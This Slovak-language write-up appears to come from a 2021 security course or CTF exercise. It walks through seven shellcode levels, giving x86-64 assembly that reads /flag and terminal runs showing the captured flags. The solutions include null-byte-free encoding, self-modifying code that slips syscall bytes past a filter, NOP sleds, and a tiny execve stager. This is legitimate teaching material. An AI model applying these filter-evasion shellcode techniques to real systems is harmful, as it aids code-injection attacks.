Blok 1: Shellcode

Názov tímu:	42
Členovia:	Nicolas Macák
	Veronika Szabóová
	Petra Kirschová

Level 1

Obmedzenia:

Žiadne

Riešenie:

Pomocou systémového volania `sys_open` sme otvorili súbor /flag a následne sme jeho obsah vypísali na štandardný výstup pomocou systémového volania `sys_sendfile`.

shellcode.s

```
_start:
.intel_syntax noprefix
        mov rax, 2
        lea rdi, [rip+filename]
        mov rsi, 0
        mov rdx, 0
        syscall

        mov rsi, rax

        mov rax, 40
        mov rdi, 1
        mov r10, 100
        syscall

filename:
        .string "/flag"
```

./shellcode_level_1

```
ctf@88f7dfb26d8d:~$ cat shellcode-raw | /shellcode_level_1
########################################
### BISzPP 2021
### Vitajte v ulohe /shellcode_level_1!
########################################

Uloha:
Cielom je napisat 'shellcode', ktory otvori subor '/flag' a precita jeho obsah. Ucelom
tychto uloh je precvicit si pisanie malych programov v jazyku symbolickych instrukcii.
Obmedzenia:
- ziadne

[*] Mapujem shellcode na adresu: 0x1337000.
[*] Citam maximalne 0x4000 bajtov zo standardneho vstupu na adresu 0x1337000.
[*] Nacital som 62 bajtov.
[*] Spustam shellcode!
bispp_flag{NPq8NU-204GPO-fNhPri-cS03Go-ykpj7i}
Illegal instruction (core dumped)
```

Level 2

Obmedzenia:

Shellcode nesmie obsahovať žiadne fixné adresy

Riešenie:

Použili sme rovnaký kód, ako v Leveli 1, nakoľko neobsahoval žiadne fixné adresy.

shellcode.s

```
_start:
.intel_syntax noprefix
        mov rax, 2
        lea rdi, [rip+filename]
        mov rsi, 0
        mov rdx, 0
        syscall

        mov rsi, rax

        mov rax, 40
        mov rdi, 1
        mov r10, 100
        syscall

filename:
        .string "/flag"
```

./shellcode_level_2

```
ctf@d42ced1130a9:~$ cat shellcode-raw | /shellcode_level_2
########################################
### BISzPP 2021
### Vitajte v ulohe /shellcode_level_2!
########################################

Uloha:
Cielom je napisat 'shellcode', ktory otvori subor '/flag' a precita jeho obsah. Ucelom
tychto uloh je precvicit si pisanie malych programov v jazyku symbolickych instrukcii.
Obmedzenia:
- V tejto ulohe sa 'shellcode' mapuje na zasobnik, ktoreho adresa je nahodna po kazdom
   spusteni. Z toho dovodu nesmie obsahovat ziadne fixne adresy.

[*] Mapujem 'shellocode' na zasobnik, na adresu 0x7fff1ef6f090.
[*] Citam maximalne 0x4000 bajtov zo standardneho vstupu na adresu 0x7fff1ef6f090.
[*] Nacital som 62 bajtov.
[*] Spustam shellcode!
bispp_flag{9SalcZ-nGSZUv-2MCcHV-u3jchW-dK3B86}
Illegal instruction (core dumped)
```

Level 3

Obmedzenia:

Shellcode nesmie obsahovať nulové bajty.

Riešenie:

V pôvodnom kóde sme zmenili ukladanie nuly pomocou `mov` na inštrukciu `xor`, čím sa odstránili prebytočné nulové bajty. Keď sme potrebovali uložiť hodnotu vyššiu ako 0, použili sme registre menšej veľkosti – napr. namiesto použitia celého registra `rax` sme zaplnili iba jeho spodný bajt v registri `al`. Pri ukladaní adresy návestia pomocou `lea rdi, [rip + filename]` sme nulové bajty vyplnili pripočítaním a odpočítaním čísla 0x01010101.

shellcode.s

```
.global _start
_start:
.intel_syntax noprefix
    xor rax,rax; mov al, 2
    lea rdi, [rip+filename] + 0x01010101
    sub rdi, 0x01010101
    xor rsi,rsi
    xor rdx,rdx

    syscall

    mov rsi, rax

    xor rax,rax; mov al, 40
    xor rdi,rdi; inc rdi
    xor r10,r10; mov r10b, 100
    syscall


filename:
    .ascii "/flag"
```

disassembly

```
<_start>:
48 31 c0                xor    rax,rax
b0 02                   mov    al,0x2
48 8d 3d 26 01 01 01    lea    rdi,[rip+0x1010126]
48 81 ef 01 01 01 01    sub    rdi,0x1010101
48 31 f6                xor    rsi,rsi
48 31 d2                xor    rdx,rdx
0f 05                   syscall
48 89 c6                mov    rsi,rax
48 31 c0                xor    rax,rax
b0 28                   mov    al,0x28
48 31 ff                xor    rdi,rdi
48 ff c7                inc    rdi
4d 31 d2                xor    r10,r10
41 b2 64                mov    r10b,0x64
0f 05                   syscall

<filename>:
2f                      (bad)
66 6c                   data16 ins BYTE PTR es:[rdi],dx
61                      (bad)
67                      addr32
```

./shellcode_level_3

```
ctf@04e5f6a82343:~$ cat shellcode-raw | /shellcode_level_3
########################################
### BISzPP 2021
### Vitajte v ulohe /shellcode_level_3!
########################################

Uloha:
Cielom je napisat 'shellcode', ktory otvori subor '/flag' a precita jeho obsah. Ucelom
tychto uloh je precvicit si pisanie malych programov v jazyku symbolickych instrukcii.
Obmedzenia:
- 'shellcode' nesmie obsahovat nulove bajty.

[*] Mapujem shellcode na adresu: 0x1337000.
[*] Citam maximalne 0x4000 bajtov zo standardneho vstupu na adresu 0x1337000.
[*] Nacital som 54 bajtov.
[*] Spustam filter!
[*] Spustam shellcode!
bispp_flag{9kk4lH-cbd8D4-DoBc3U-DyRMFn-bHpCmu}
Illegal instruction (core dumped)
```

Level 4

Obmedzenia:

Shellcode nesmie obsahovať nasledujúce sekvencie bajtov: 0x0f05 -> inštrukcia 'syscall', 0x0f34 -> inštrukcia 'sysenter', 0x80cd -> inštrukcia 'int'.

Riešenie:

Syscall sme zavolali nepriamo pomocou návestí `syscall_01` a `syscall_02`, kde boli najskôr uložené bajty `0x00` a `0x05`. Bajt `0x00` bol počas behu programu prepísaný na `0x0f`, čím sme dostali opcode inštrukcie syscall `0x0f05` a na mieste návestia bolo vykonané systémové volanie.

shellcode.s

```
.global _start
_start:
.intel_syntax noprefix
    mov BYTE PTR [rip+syscall_01],0x0f
    mov BYTE PTR [rip+syscall_02],0x0f
    mov rax, 2
    lea rdi, [rip+filename]
    xor rsi,rsi
    xor rdx,rdx

syscall_01:
    .Byte 0x00
    .Byte 0x05

    mov rsi, rax

    mov rax, 40
    mov rdi, 1
    mov r10, 100

syscall_02:
    .Byte 0x00
    .Byte 0x05


filename:
    .string "/flag"
```

./shellcode_level_4

```
ctf@57380f286b9d:~$ cat shellcode-raw | /shellcode_level_4
########################################
### BISzPP 2021
### Vitajte v ulohe /shellcode_level_4!
########################################

Uloha:
Cielom je napisat 'shellcode', ktory otvori subor '/flag' a precita jeho obsah. Ucelom
tychto uloh je precvicit si pisanie malych programov v jazyku symbolickych instrukcii.
Obmedzenia:
- 'shellcode' nesmie obsahovat nasledujuce sekvencie bajtov:
- 0x0f05 -> instrukcia 'syscall'
- 0x0f34 -> instrukcia 'sysenter'
- 0x80cd -> instrukcia 'int'
HINT: Na vykonanie akejkolvek interakcie s operacnym systemom potrebujeme systemove volania.
Kedze adresy instrukcii nasho shellcodu su fixne a mapuju sa na stranku, ktora ma RWX
opravnenia, jednym zo sposobov ako obist filter, je prepisat shellcode priamo pocas behu.

[*] Mapujem shellcode na adresu: 0x1337000.
[*] Citam maximalne 0x4000 bajtov zo standardneho vstupu na adresu 0x1337000.
[*] Nacital som 68 bajtov.
[*] Spustam filter!
[*] Spustam shellcode!
bispp_flag{DkFglV-WbUMhb-eThh4t-8RcF9j-hZB2pE}
Illegal instruction (core dumped)
```

Level 5

Obmedzenia:

Shellcode nesmie obsahovať nasledujúce sekvencie bajtov: 0x0f05 -> inštrukcia 'syscall', 0x0f34 -> inštrukcia 'sysenter', 0x80cd -> inštrukcia 'int'. Oprávnenia na zápis (W) sa odstránia z prvých 4096 bajtov shellcodu.

Riešenie:

Použili sme rovnaký kód, ako v Leveli 4, do ktorého sme na začiatok pridali inštrukciu `.skip 4096, 0x90`, ktorou sme prvých 4096 bajtov vyplnili inštrukciou nop a tým pádom sa inštrukcie programu začali vykonávať až v oblasti pamäti, ktorá mala oprávnenia na zápis.

shellcode.s

```
.global _start
_start:
.intel_syntax noprefix
    .skip 4096,0x90
    mov BYTE PTR [rip+syscall_01],0x0f
    mov BYTE PTR [rip+syscall_02],0x0f
    mov rax, 2
    lea rdi, [rip+filename]
    xor rsi,rsi
    xor rdx,rdx

syscall_01:
    .Byte 0x00
    .Byte 0x05

    mov rsi, rax

    mov rax, 40
    mov rdi, 1
    mov r10, 100

syscall_02:
    .Byte 0x00
    .Byte 0x05


filename:
    .string "/flag"
```

./ shellcode_level_5

```
ctf@91555808ef01:~$ cat shellcode-raw | /shellcode_level_5
########################################
### BISzPP 2021
### Vitajte v ulohe /shellcode_level_5!
########################################

Uloha:
Cielom je napisat 'shellcode', ktory otvori subor '/flag' a precita jeho obsah. Ucelom
tychto uloh je precvicit si pisanie malych programov v jazyku symbolickych instrukcii.
Obmedzenia:
- 'shellcode' nesmie obsahovat nasledujuce sekvencie bajtov:
- 0x0f05 -> instrukcia 'syscall'
- 0x0f34 -> instrukcia 'sysenter'
- 0x80cd -> instrukcia 'int'
HINT: Na vykonanie akejkolvek interakcie s operacnym systemom potrebujeme systemove volania.
Kedze adresy instrukcii nasho shellcodu su fixne a mapuju sa na stranku, ktora ma RWX
opravnenia, jednym zo sposobov ako obist filter, je prepisat shellcode priamo pocas behu.

POZOR: Opravnenia na zapis (W) sa odstrania z prvych 4096 bajtov shellcodu!

[*] Mapujem shellcode na adresu: 0x1337000.
[*] Citam maximalne 0x2000 bajtov zo standardneho vstupu na adresu 0x1337000.
[*] Nacital som 4164 bajtov.
[*] Odstranujem prava na zapis pre prvych 4096 bajtov.
[*] Spustam filter!
[*] Spustam shellcode!
bispp_flag{vRishV-hzGunL-UTgekp-8KPyJF-fLSWya}
Illegal instruction (core dumped)
```

Level 6

Obmedzenia:

Shellcode sa nezačne vykonávať priamo od začiatku, ale skočí na náhodný offset v rozsahu 0x000 až 0x800 bajtov.

Riešenie:

Postupovali sme podobne, ako pri Leveli 5. Pomocou `.skip 0x800,0x90` sme preskočili prvých 0x800 bajtov a tieto bajty sme vyplnili inštrukciou nop.

shellcode.s

```
.global _start
_start:
.intel_syntax noprefix
        .skip 0x800,0x90
        mov rax, 2
        lea rdi, [rip+filename]
        mov rsi, 0
        mov rdx, 0
        syscall

        mov rsi, rax

        mov rax, 40
        mov rdi, 1
        mov r10, 100
        syscall

filename:
        .string "/flag"
```

./ shellcode_level_6

```
ctf@3aa3f15da38b:~$ cat shellcode-raw | /shellcode_level_6
########################################
### BISzPP 2021
### Vitajte v ulohe /shellcode_level_6!
########################################

Uloha:
Cielom je napisat 'shellcode', ktory otvori subor '/flag' a precita jeho obsah. Ucelom
tychto uloh je precvicit si pisanie malych programov v jazyku symbolickych instrukcii.
Obmedzenia:
- shellcode sa nezacne vykonavat priamo od zaciatku ale skoci na nahodny offset
  v rozsahu 0x000 az 0x800 bajtov
HINT: NOP sled

[*] Mapujem shellcode na adresu: 0x1337000.
[*] Citam maximalne 0x1000 bajtov zo standardneho vstupu na adresu 0x1337000.
[*] Nacital som 2110 bajtov.
[*] Spustam shellcode!
bispp_flag{lnOcD2-YezVv9-1O8VRq-YNUFn9-vlpROC}
Illegal instruction (core dumped)
```

Level 7

Obmedzenia:

Maximálna dĺžka shellcodu je 18 bajtov.

Riešenie:

Keďže bolo potrebné vytvoriť čo najmenší súbor, shellcode, ktorý sa použije ako vstup do programu, obsahuje iba systémové volanie `execve`, pomocou ktorého sme spustili shellcode z druhého súboru `s.s`. Súbor `s.s` obsahoval rovnaký kód, ako v Leveli 1 a jeho názov sme tiež redukovali, aby nezapĺňal prebytočné bajty.

shellcode.s

```
.global _start
_start:
.intel_syntax noprefix
    mov al, 59
    lea rdi, [rip+filename]
    xor rsi,rsi
    xor rdx,rdx

    syscall
filename:
    .string "s"
```

s.s

```
.global _start
_start:
.intel_syntax noprefix
    mov rax, 2
    lea rdi, [rip+filename]
    mov rsi, 0
    mov rdx, 0

    syscall

    mov rsi, rax

    mov rax, 40
    mov rdi, 1
    mov r10, 100
    syscall

filename:
        .string "/flag"
```

./ shellcode_level_7

```
ctf@2e9d2cdfc3cc:~$ cat shellcode-raw | /shellcode_level_7
########################################
### BISzPP 2021
### Vitajte v ulohe /shellcode_level_7!
########################################

Uloha:
Cielom je napisat 'shellcode', ktory otvori subor '/flag' a precita jeho obsah. Ucelom
tychto uloh je precvicit si pisanie malych programov v jazyku symbolickych instrukcii.
Obmedzenia:
- maximalna dlzka shellcodu je 18 bajtov (dalsie bajty sa ignoruju)

POZOR: Opravnenia na zapis (W) sa odstrania.

[*] Mapujem shellcode na adresu: 0x1337000.
[*] Citam maximalne 0x1000 bajtov zo standardneho vstupu na adresu 0x1337000.
[*] Nacital som 18 bajtov.
[*] Odstranujem prava na zapis.
[*] Spustam shellcode!
bispp_flag{nzZ2RJ-jotixg-qQ4th4-dLXShP-5Fc1Vv}
Illegal instruction (core dumped)
```